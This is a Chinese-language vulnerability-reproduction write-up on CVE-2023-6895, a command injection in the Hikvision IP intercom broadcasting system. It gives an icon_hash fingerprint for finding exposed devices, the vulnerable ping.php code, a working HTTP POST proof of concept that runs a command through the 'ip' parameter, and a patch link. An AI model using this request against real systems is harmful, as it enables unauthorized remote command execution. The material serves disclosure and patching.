海康威视IP网络对讲广播系统命令执行漏洞(CVE-2023-6895)

漏洞介绍

海康威视IP网络对讲广播系统采用领先的IPAudio™技术,将音频信号以数据包形式在局域网和广域网上进行传送,是一套纯数字传输系统。

Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK)版本存在操作系统命令注入漏洞,该漏洞源于文件/php/ping.php的参数jsondata[ip]会导致操作系统命令注入。
海康威视IP网络对讲广播系统命令执行漏洞(CVE-2023-6895)_第1张图片

资产测绘

icon_hash=“-1830859634”
海康威视IP网络对讲广播系统命令执行漏洞(CVE-2023-6895)_第2张图片

漏洞复现

查看漏洞关键代码:

header("Content-type: text/html; charset=GB2312");
$postData = $_POST['jsondata'];
if(isset($postData['ip']) && isset($postData['type'])){
     $type = $postData['type'];//类型
     $ip = $postData['ip'];//IP地址
     $arr = systemopr($type, $ip);
     $len = count($arr);
     for($i = 0; $i < $len; $i++){
          if(isset($arr[$i])){
               $arr[$i] = iconv('GB2312', 'UTF-8', $arr[$i]);//gb2312转换为utf-8
          }
     }
     $after = json_encode($arr);//转换成json
     echo $after;
}

function systemopr($type, $ip, $times=4){
     $info = array();     
     if (PATH_SEPARATOR==':' || DIRECTORY_SEPARATOR=='/'){
           //linux
           if($type == "0"){
               exec("ping -c $times $ip", $info);
           }else if($type == "1"){
               exec("traceroute -m $times -w 1 $ip", $info);
           }else{
               exec($ip, $info);
          }
     }else{
          //windows
          if($type == "0"){
               exec("ping $ip -n $times", $info);
          }else if($type == "1"){
               exec("tracert -h $times -w 1000 $ip", $info);
          }else{
               exec($ip, $info);
          }
     }
     return $info;
}

可以发现当$postData['type']$postData['ip']存在值时,则会传入systemopr函数,通过exec()函数进行拼接命令执行,当$postData['type']等于0或1时,则代入指定代码段,执行指定命令。但$postData['type']参数值不等于0和1时,可以不考虑参数闭合,直接可以通过$postData['ip']执行任意命令。而且恰巧$postData['type']$postData['ip']的值都是POST传参可控的,导致我们可以执行任意系统命令。

POC如下:

POST /php/ping.php HTTP/1.1
Host: your_ip
Content-Length: 46
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

jsondata%5Btype%5D=3&jsondata%5Bip%5D=ipconfig

海康威视IP网络对讲广播系统命令执行漏洞(CVE-2023-6895)_第3张图片

修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.spon.com.cn/

你可能感兴趣的:(漏洞复现,网络,tcp/ip,网络协议)